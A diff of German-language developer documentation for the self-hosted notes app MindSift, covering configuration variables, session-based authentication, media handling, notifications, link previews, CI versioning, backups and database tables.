| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen (`internal/api/loginguard.go`), `false` = aus | | `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen und Limits für Registrierung und „Passwort vergessen“ (`internal/api/loginguard.go`), `false` = aus |
| `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz; explizit gesetzt Voraussetzung für das Passwort-Zurücksetzen per Mail | | `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz; explizit gesetzt Voraussetzung für das Passwort-Zurücksetzen per Mail |
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme; die Zeitzonendaten sind ins Binary eingebettet (`time/tzdata`) | | `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme; die Zeitzonendaten sind ins Binary eingebettet (`time/tzdata`) |
| `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang | | `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang |
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` | | `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` |
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen | | `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen. Die Demo verschickt nichts (keine Alarme, Test- oder Hinweismails, Webhooks), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail und Konten der gemeinsam genutzten Demo-Konten lassen sich nicht ändern (`notInDemo` in `internal/api/demo.go`) |
| `DEMO_RESET_MINUTES` | `20` | Demo-Modus: periodischer Reset auf die Beispieldaten (`0` = aus). Feste IDs der Demo-Konten (`usr_demo_admin`, `usr_demo_user`) halten Sitzungen gültig; laufende Anfragen sperren den Reset (`internal/api/demo.go`, Streams ausgenommen); danach `DEMO_RESET` an alle Verbindungen, `/auth/status` liefert `demoNextReset`/`demoResetInSeconds`. | | `DEMO_RESET_MINUTES` | `20` | Demo-Modus: periodischer Reset auf die Beispieldaten (`0` = aus). Feste IDs der Demo-Konten (`usr_demo_admin`, `usr_demo_user`) halten Sitzungen gültig; laufende Anfragen sperren den Reset (`internal/api/demo.go`, Streams ausgenommen); danach `DEMO_RESET` an alle Verbindungen, `/auth/status` liefert `demoNextReset`/`demoResetInSeconds`. |
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar | | `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar |
| `SMTP_FROM_NAME` | `MindSift` | Anzeigename des Absenders, wenn `SMTP_FROM` nur eine Adresse ist (`From: "MindSift" <adresse>`, der SMTP-Umschlag bleibt die reine Adresse); ein Name in `SMTP_FROM` hat Vorrang |
| `SMTP_SKIP_VERIFY` | `false` | Zertifikat des Mailservers nicht prüfen (nur interne Server mit selbstsigniertem Zertifikat) | | `SMTP_SKIP_VERIFY` | `false` | Zertifikat des Mailservers nicht prüfen (nur interne Server mit selbstsigniertem Zertifikat) |
| `NOTIFY_DIGEST_MINUTES` | `5` | Benachrichtigungen (Freigaben, beobachtete Aufgaben …) werden gesammelt und höchstens alle so viele Minuten gebündelt verschickt |
| `VAPID_PUBLIC_KEY` / `VAPID_PRIVATE_KEY` | – | Schlüsselpaar für Web-Push; ohne Angabe einmal erzeugt und in `push_keys` gespeichert |
| `VAPID_SUBJECT` | `BASE_URL` (wenn https) | Kontakt für die Push-Dienste (`mailto:` oder `https://`) |
| `MEDIA_MAX_IMAGE_MB`, `MEDIA_MAX_AUDIO_MB` | `15` / `50` | Größtes Bild bzw. größte Audiodatei in Notizen in MB |
| `MEDIA_QUOTA_MB` | `0` | Speicherplatz für Medien pro Benutzer in MB (`0` = unbegrenzt) |
| `MEDIA_DEMO_MAX_MB` | `3` | Nur im Demo-Modus: maximale Dateigröße für Medien-Uploads in MB |
| `STT_URL` | leer | Eigene Spracherkennung: Basis-URL eines OpenAI-kompatiblen Whisper-Servers (z. B. `http://whisper:8000`, speaches). Gesetzt = Server-Modus, sonst Spracherkennung des Browsers; in der Demo immer Browser |
| `STT_MODEL`, `STT_LANGUAGE`, `STT_API_KEY` | `deepdml/faster-whisper-large-v3-turbo-ct2` / `de` / leer | Modell, Sprache (`auto` = erkennen), Schlüssel falls der Whisper-Server einen verlangt |
| `STT_DISABLED` | `false` | `true` blendet die Spracheingabe überall aus |
| `STT_MAX_SECONDS`, `STT_MAX_UPLOAD_MB` | `600` / `25` | Längste Aufnahme (stoppt im Browser), größte Aufnahme |
| `STT_MAX_PARALLEL`, `STT_PER_USER_PER_HOUR`, `STT_TIMEOUT_SECONDS` | `1` / `60` / `120` | Gleichzeitige Erkennungen (weitere warten), Erkennungen pro Person und Stunde, Höchstdauer inkl. Warten |
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) | | `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. | | `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster |
| `LEGAL_IMPRINT_CONTENT_FILE`, `LEGAL_PRIVACY_CONTENT_FILE` | leer | Pfad zu einer Datei im Container mit Markdown-Inhalt für Impressum bzw. Datenschutz. Ohne URL und Text bleibt der Link unsichtbar. |
| `LEGAL_CUSTOM_LINK_LABEL`, `LEGAL_CUSTOM_LINK_URL` | leer | Eigener Link im globalen Desktop-Footer (nur `https://`, sonst ignoriert) |
Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in `DATA_DIR` genutzt wird; Postgres ist nicht implementiert. Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in `DATA_DIR` genutzt wird; Postgres ist nicht implementiert.
## Authentifizierung ## Authentifizierung
- **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`). - **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`).
- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`). - **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`). Dieselben Töpfe begrenzen pro Adresse Registrierungen (20) und „Passwort vergessen“ (10) je 15 Minuten; hier zählt jede Anfrage.
- **JWT:** HS256, Laufzeit 30 Tage, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Gültig nur, wenn Token nicht in `revoked_tokens` steht, das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht. - **Einladungscodes:** `INV-` plus 100 Zufallsbits in Base32. Die Registrierung beansprucht den Code, bevor das Konto entsteht (kein doppeltes Einlösen).
- **Logout** schreibt den Token-Hash in `revoked_tokens`. - **JWT und Sitzungen:** HS256, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Jede Anmeldung legt eine Zeile in `sessions` an (Gerät, IP, letzte Nutzung); `jti` ist deren ID. Gültig ist ein Token nur, wenn die Sitzung aktiv ist (nicht beendet, höchstens 30 Tage unbenutzt), das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Ist das Token älter als 24 Stunden, schickt der Server im Header `X-Session-Token` ein neues für dieselbe Sitzung; das Frontend übernimmt es (`request()` in `lib/api.ts`). Aktive Geräte bleiben so angemeldet, unbenutzte fallen nach 30 Tagen heraus (`internal/api/sessions.go`). Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
- **Logout** beendet die Sitzung des Geräts; `GET /auth/sessions` listet die Geräte, `DELETE /auth/sessions/{id}` meldet eines ab. Passwort und Login-E-Mail ändern sich nur mit dem aktuellen Passwort (`currentPassword`, falsche Eingaben zählen für die Login-Sperre); ein neues Passwort meldet alle anderen Geräte ab, dieses Gerät erhält per `X-Session-Token` ein neues Token. Ist SMTP eingerichtet, geht eine Hinweismail an die bisherige Adresse.
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403`. - **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403`.
- **Passwort vergessen:** nur wenn SMTP und `BASE_URL` gesetzt sind (nicht im Demo-Modus; `passwordReset` in `/auth/status`). `POST /auth/forgot-password` antwortet immer gleich und verschickt die Mail im Hintergrund, höchstens alle 2 Minuten pro Konto. Der Link `BASE_URL/?resetToken=…` gilt eine Stunde und einmal; gespeichert wird nur der SHA-256-Hash (`password_reset_tokens`). `POST /auth/reset-password` setzt das Passwort, entwertet alle offenen Links des Kontos und erhöht `token_version` (alle Sitzungen enden). Die App entfernt den Token sofort aus der Adresszeile. - **Passwort vergessen:** nur wenn SMTP und `BASE_URL` gesetzt sind (nicht im Demo-Modus; `passwordReset` in `/auth/status`). `POST /auth/forgot-password` antwortet immer gleich und verschickt die Mail im Hintergrund, höchstens alle 2 Minuten pro Konto. Der Link `BASE_URL/?resetToken=…` gilt eine Stunde und einmal; gespeichert wird nur der SHA-256-Hash (`password_reset_tokens`). `POST /auth/reset-password` setzt das Passwort, entwertet alle offenen Links des Kontos und erhöht `token_version` (alle Sitzungen enden). Die App entfernt den Token sofort aus der Adresszeile.
- **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator. - **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator.
## Medien in Notizen
Bilder und Audio liegen in `$DATA_DIR/media/<docId>/<id>.<ext>`, beschrieben in der Tabelle `media` (Migration 5, `internal/storage/media.go`). Ein Block verweist über seinen Inhalt darauf, z. B. Typ `image` mit `![Beschriftung](media:med_…)`; damit laufen Verweise ohne Änderung am Sync-Modell durch Synchronisation, Rückgängig und Konflikte. Hochladen (`POST /documents/{id}/media`) braucht Schreibrecht auf die Notiz, Lesen (`GET /media/{id}`) Leserecht auf die Notiz der Datei oder auf eine Notiz, deren Blöcke sie zeigen (kopierte Blöcke). Das Format wird am Inhalt erkannt (JPEG, PNG, GIF, WebP; WebM, Ogg, MP3, WAV, M4A), SVG und alles andere wird abgelehnt; Antworten tragen eine eigene CSP mit `sandbox`. Externe Bilder kopiert der Server einmal (`POST /documents/{id}/media/fetch`, nur https und öffentliche Adressen wie bei Webhooks, nicht in der Demo). Grenzen: `MEDIA_MAX_IMAGE_MB`, `MEDIA_MAX_AUDIO_MB`, `MEDIA_QUOTA_MB`, in der Demo `MEDIA_DEMO_MAX_MB`. Backup-ZIP (`media/<id><ext>`) und Markdown-Archiv (`attachments/`, Einbettung `![Beschriftung](../attachments/…)` relativ zur Notiz) enthalten die Dateien der eigenen Notizen; beim Import bekommen sie neue IDs. Der Obsidian-Import übernimmt Bilder und Audio, die eine Notiz allein in einem Punkt einbettet (`![[datei.png]]` oder `![](pfad/datei.png)`); andere Dateien erscheinen in der Vorschau als übersprungen. Die Verdichtung (alle 6 Stunden) löscht Dateien, die kein Block mehr erwähnt (auch keine gelöschten im Papierkorb oder Protokoll), frühestens einen Tag nach dem Hochladen. Der Demo-Reset leert `media/`.
## Notizen umbauen
`internal/storage/restructure.go`: **Ast auslagern** liest den Ast und legt die neue Notiz an (Titel eindeutig, gleiche direkte und Gruppen-Freigaben, Besitzer der Ursprungsnotiz bekommt Schreibrecht). Den Ast in der Ursprungsnotiz ersetzt der Editor selbst durch `[[Titel]]` (Hashtags bleiben am Link) – als eigene Änderung über die Sync-Engine, damit sie nicht mit ungesendeten Eingaben kollidiert und Strg+Z sie zurücknimmt; dabei legt `/extract/undo` die neue Notiz in den Papierkorb. **Zusammenführen** hängt die Quelle als `h2`-Überschrift mit ihren Punkten als Unterpunkte an die Zielnotiz an (ebenfalls über Operationen, offene Editoren folgen live) und legt die Quelle in den Papierkorb; „Rückgängig“ löscht die Überschrift samt Unterpunkten und stellt die Quelle wieder her. Die Aktion läuft im Namen des Editor-Clients (`clientId`), damit dessen eigene Block-Sperren nicht stören. Bilder und Aufnahmen funktionieren weiter, weil der Zugriff über die Notizen läuft, die sie zeigen.
## Benachrichtigungen
`internal/api/notify.go`, `internal/storage/notifications.go` (Migration 7). Jede Person wählt pro Ereignisart die Kanäle – eigene E-Mail (Alarm-Adresse, sonst Konto-Adresse) eigener Discord-Webhook, eigener Webhook (`customWebhookUrl`, JSON per POST) und Web-Push an die eigenen Geräte (`internal/api/push.go`, Migration 9, Tabelle `push_subscriptions`; Geräte, die der Push-Dienst nicht mehr kennt (404/410), werden entfernt) –, gespeichert als JSON in `users.notification_settings` (`GET /auth/me`, `PATCH /auth/settings` → `notificationSettings`). Ereignisse: `due` (Fälligkeits-Alarm, sofort über den Alarm-Ticker), `shared` (Notiz, Ordner, Aufgabenliste oder Liste geteilt; bei Gruppen alle Mitglieder), `taskDone` (Aufgabe einer geteilten Liste erledigt), `watched` (jede Änderung an einer beobachteten Aufgabe, `task_watchers`, `POST/DELETE /tasks/{id}/watch`). Alles außer `due` landet in `notification_queue`; ein Job im Minutentakt schickt je Person eine gebündelte Nachricht, sobald das älteste Ereignis `NOTIFY_DIGEST_MINUTES` (Standard 5) alt ist (E-Mail als Text + HTML, Discord als ein Embed mit höchstens 10 Zeilen, eigener Webhook als JSON `{"event":"digest","heading","items":[{"kind","title","text"}],"link","timestamp"}`; fällige Aufgaben gehen dort als `{"event":"task_due",…}` einzeln raus), nach 3 Fehlversuchen wird verworfen. Eigene Änderungen benachrichtigen nie den Handelnden, außer bei beobachteten Aufgaben mit `includeOwnWatched`. `paused` stoppt alles, auch Alarme. **Tageszusammenfassung:** zur gewählten Uhrzeit (Server-Zeitzone, innerhalb von 30 Minuten, einmal pro Tag) überfällige, heutige und morgige offene Aufgaben samt Anzahl der folgenden 7 Tage; nichts fällig → keine Nachricht. Im Demo-Modus laufen die Jobs nicht.
## Link-Vorschau
Punkte mit einer reinen https-Adresse zeigen darüber eine Karte (`LinkPreviewCard`, `lib/linkPreview.ts`). `GET /link-preview?url=` holt die Seite serverseitig mit demselben Schutz wie Webhooks (nur https, keine internen Adressen, Weiterleitungen geprüft), liest `og:*`/`twitter:*`, `<title>`, `description` und das Icon aus dem `<head>` (höchstens 1 MB HTML, Bild 2 MB, Icon 100 KB, kein SVG) und speichert alles in `link_previews` (Migration 6): Erfolg 7 Tage, nichts Brauchbares 1 Tag, nach 30 Tagen gelöscht. Bilder kommen über `GET /link-preview/{key}/image|icon` mit Login. Pro Adresse höchstens 300 Abrufe in 15 Minuten (Antworten aus dem Cache zählen nicht). Ausblenden einer Karte macht aus der Adresse `[Titel](url)` (ein benannter Link hat keine Karte), damit synchronisiert die Wahl mit der Notiz; „Link-Vorschauen anzeigen“ unter Darstellung gilt pro Gerät. Im Demo-Modus aus.
## Spracherkennung
Nur über Umgebungsvariablen (`STT_*`, siehe oben), nicht in der Oberfläche; Administration → Server & Isolation zeigt den aktiven Modus, den Zustand des Whisper-Servers und bietet eine Testaufnahme. Alle Mikrofon-Knöpfe (Quick-Dump-Leiste, mobiles Erfassen-Sheet, Halten des +-Knopfs) nutzen denselben Hook `useVoiceInput` (`frontend/src/lib/voice.ts`, `useVoiceInput.ts`): `server` nimmt auf und zeigt „Wird erkannt…“, `browser` liefert Text schon beim Sprechen, `off` oder ein Browser ohne die nötige Funktion blendet das Mikrofon aus. Im Server-Modus zeigen Wellen den echten Mikrofonpegel (`VoiceWave`), die Aufnahme endet spätestens nach `STT_MAX_SECONDS`. Der Browser nimmt per `MediaRecorder` auf (WebM/Opus, in Safari MP4/AAC) und schickt die Aufnahme an `POST /voice/transcribe`; MindSift reicht sie an `STT_URL/v1/audio/transcriptions` weiter (`model`, `language`) und gibt nur den Text zurück. Nichts wird gespeichert oder protokolliert außer Fehlern (`internal/api/voice.go`). Beim Start wartet MindSift auf den Whisper-Server und stößt den Download des Modells an, falls es fehlt (`POST /v1/models/<id>` bei speaches).
`docker-compose.yml` enthält den Dienst `whisper` (speaches 0.8.3, CPU) als auskommentierten Block: Rauten entfernen, `STT_URL=http://whisper:8000` in `.env` setzen, `docker compose up -d`; das Modell liegt in `./whisper` (Ordner gehört UID 1000). Gemessen auf einem Desktop mit 16 Kernen (int8) für einen Satz von 4 s: `Systran/faster-whisper-small` 1,6 s, `deepdml/faster-whisper-large-v3-turbo-ct2` 8 s bei besserer Erkennung (RAM ca. 1 bzw. 2 GB). Auf geteilten vCPUs ist mit dem Mehrfachen zu rechnen.
## Hintergrundjob: Alarme ## Hintergrundjob: Alarme
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Nach 3 Durchläufen ohne Erfolg gibt er auf (`alarm_failures`). Details und Einschränkungen: [modules/tasks.md](modules/tasks.md). `startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Nach 3 Durchläufen ohne Erfolg gibt er auf (`alarm_failures`). Details und Einschränkungen: [modules/tasks.md](modules/tasks.md).
@@ -100,9 +137,11 @@ Stage 2 golang:1.23 go vet, go test, go build → /app/mindsift (
Stage 3 alpine:3.21 nur Binary, ca-certificates, tzdata Stage 3 alpine:3.21 nur Binary, ca-certificates, tzdata
``` ```
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`. Andere Branches bauen nicht. **Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`; Vorabversionen (`v1.2.0-rc.1`) nur `:v1.2.0-rc.1`, `:stable` bleibt. Andere Branches bauen nicht.
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.2`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.2-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`. **Versionierung:** Ab v0.6.0 nach [Semantic Versioning](https://semver.org/spec/v2.0.0.html): `MAJOR.MINOR.PATCH`, Tags dreiteilig mit `v` (`v0.6.0`, `v1.0.0-rc.1`). Solange die Hauptversion 0 ist, erhöhen inkompatible Änderungen (API, Datenformate, Konfiguration) die mittlere Stelle, Fehlerbehebungen die letzte. Jede Änderung, die Benutzer oder Betreiber betrifft, kommt in [CHANGELOG.md](../CHANGELOG.md) unter „Unreleased“ (Format [Keep a Changelog](https://keepachangelog.com/de/1.1.0/)); beim Release wird der Abschnitt zur Version mit Datum, `frontend/package.json` bekommt die Versionsnummer.
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.6.0`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.6.0-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`). Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`).
@@ -110,7 +149,8 @@ Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go te
[backups.go](../internal/api/backups.go) / [backup.go](../internal/storage/backup.go): Ist „Automatische Backups“ in den Admin-Einstellungen an, läuft einmal täglich zur eingestellten Uhrzeit (`backup_time`, Zeitzone `TZ`; nach einem Neustart wird ein verpasster Lauf am selben Tag nachgeholt): [backups.go](../internal/api/backups.go) / [backup.go](../internal/storage/backup.go): Ist „Automatische Backups“ in den Admin-Einstellungen an, läuft einmal täglich zur eingestellten Uhrzeit (`backup_time`, Zeitzone `TZ`; nach einem Neustart wird ein verpasster Lauf am selben Tag nachgeholt):
- `backups/system/mindsift-db-JJJJ-MM-TT-HHMM.db.gz`: Abzug der ganzen Datenbank per `VACUUM INTO` (stimmig, auch während geschrieben wird), gzip. - `backups/system/mindsift-db-JJJJ-MM-TT-HHMM.db.gz`: Abzug der ganzen Datenbank per `VACUUM INTO` (stimmig, auch während geschrieben wird), gzip.
- `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto. - `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto, mit den Bildern und Aufnahmen der eigenen Notizen unter `media/`.
- **Achtung:** Der Datenbank-Abzug enthält keine Mediendateien. Wer den Server sichert, sichert den ganzen Ordner `data/` (Datenbank, `media/`, `backups/`).
- Danach werden Dateien älter als `backup_retention_days` (Standard 3) gelöscht. Dateien entstehen über `.part` und Umbenennen, halbe Backups tauchen nie in der Liste auf. Die API liefert nur Dateien mit genau diesem Namensmuster aus. - Danach werden Dateien älter als `backup_retention_days` (Standard 3) gelöscht. Dateien entstehen über `.part` und Umbenennen, halbe Backups tauchen nie in der Liste auf. Die API liefert nur Dateien mit genau diesem Namensmuster aus.
- Im Demo-Modus läuft kein Zeitplan. Zurückspielen eines Datenbank-Abzugs: Container stoppen, `mindsift.db` durch die entpackte Datei ersetzen, starten. Benutzer spielen ihre eigenen Backups in den Kontoeinstellungen ein, auch nur für einzelne Bereiche (Notizen, Aufgaben, Listen, Inbox, Themes). - Im Demo-Modus läuft kein Zeitplan. Zurückspielen eines Datenbank-Abzugs: Container stoppen, `mindsift.db` durch die entpackte Datei ersetzen, starten. Benutzer spielen ihre eigenen Backups in den Kontoeinstellungen ein, auch nur für einzelne Bereiche (Notizen, Aufgaben, Listen, Inbox, Themes).
+14 -7
View File
@@ -1,6 +1,6 @@
# Datenbank # Datenbank
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`). SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`) und 96 Zufallsbits in Hex; ältere Datensätze haben kürzere IDs (40 Bit).
## Tabellen ## Tabellen
@@ -8,18 +8,25 @@ SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `j
### Benutzer und Zugang ### Benutzer und Zugang
| Tabelle | Zweck | Wichtige Spalten | | Tabelle | Zweck | Wichtige Spalten |
|---|---|---| |---|---|---|
| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation) | | `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation), `notification_settings` (JSON der Kanäle und Ereignisse), `last_daily_summary` (Datum des letzten Versands) |
| `user_invites` | Einladungscodes | `code`, `email`, `role`, `organization_id`, `expires_at`, `used_by` | | `user_invites` | Einladungscodes | `code`, `email`, `role`, `organization_id`, `expires_at`, `used_by` |
| `revoked_tokens` | Sperrliste ausgeloggter JWTs | `token_hash`, `expires_at` | | `media` | Bilder und Audio in Notizen (Migration 5); Datei unter `$DATA_DIR/media/<doc_id>/<id>.<ext>` | `id`, `doc_id`, `owner_id`, `kind` (`image`/`audio`), `mime`, `size`, `source_url` (kopiertes externes Bild), `created_at` |
| `link_previews` | Zwischengespeicherte Link-Vorschauen (Migration 6) | `key` (Hash der URL), `url`, `title`, `description`, `site_name`, `image`/`icon` (BLOB, mit `*_mime`), `ok`, `fetched_at` |
| `notification_queue` | Wartende Benachrichtigungen bis zum gebündelten Versand (Migration 7) | `user_id`, `kind` (`shared`/`taskDone`/`watched`), `payload` (JSON), `created_at`, `attempts` |
| `task_watchers` | Beobachtete Aufgaben (Migration 7) | `task_id`, `user_id`, `created_at` |
| `push_subscriptions` | Geräte mit Web-Push (Migration 9) | `user_id`, `endpoint` (eindeutig), `p256dh`, `auth`, `device`, `created_at` |
| `push_keys` | VAPID-Schlüsselpaar, falls nicht per Umgebung gesetzt (Migration 9) | eine Zeile: `public_key`, `private_key` |
| `journal_days` | Journal: welche Notiz zu welchem Tag gehört (Migration 8) | `user_id`, `day` (`JJJJ-MM-TT`), `doc_id`; Primärschlüssel `(user_id, day)` |
| `sessions` | Angemeldete Geräte (Migration 4, ersetzt `revoked_tokens`) | `id` (= `jti` des Tokens), `user_id`, `created_at`, `last_used_at` (höchstens alle 5 Minuten aktualisiert), `user_agent`, `ip`, `revoked_at` (leer = aktiv) |
| `user_themes` | Eigene CSS-Themes eines Benutzers | `user_id` (FK, `ON DELETE CASCADE`), `name`, `css_content` | | `user_themes` | Eigene CSS-Themes eines Benutzers | `user_id` (FK, `ON DELETE CASCADE`), `name`, `css_content` |
| `api_keys` | Webhook-/API-Schlüssel | `key_prefix`, `key_hash` (SHA-256), `scopes` (nicht ausgewertet), `last_used_at` | | `api_keys` | Webhook-/API-Schlüssel | `name`, `key_prefix`, `key_hash` (SHA-256), `scopes` (`webhook:triage`, `webhook:task`, `webhook:list`), `last_used_at` |
| `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` | | `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` |
### Gedanken und Aufgaben ### Gedanken und Aufgaben
| Tabelle | Zweck | Wichtige Spalten | | Tabelle | Zweck | Wichtige Spalten |
|---|---|---| |---|---|---|
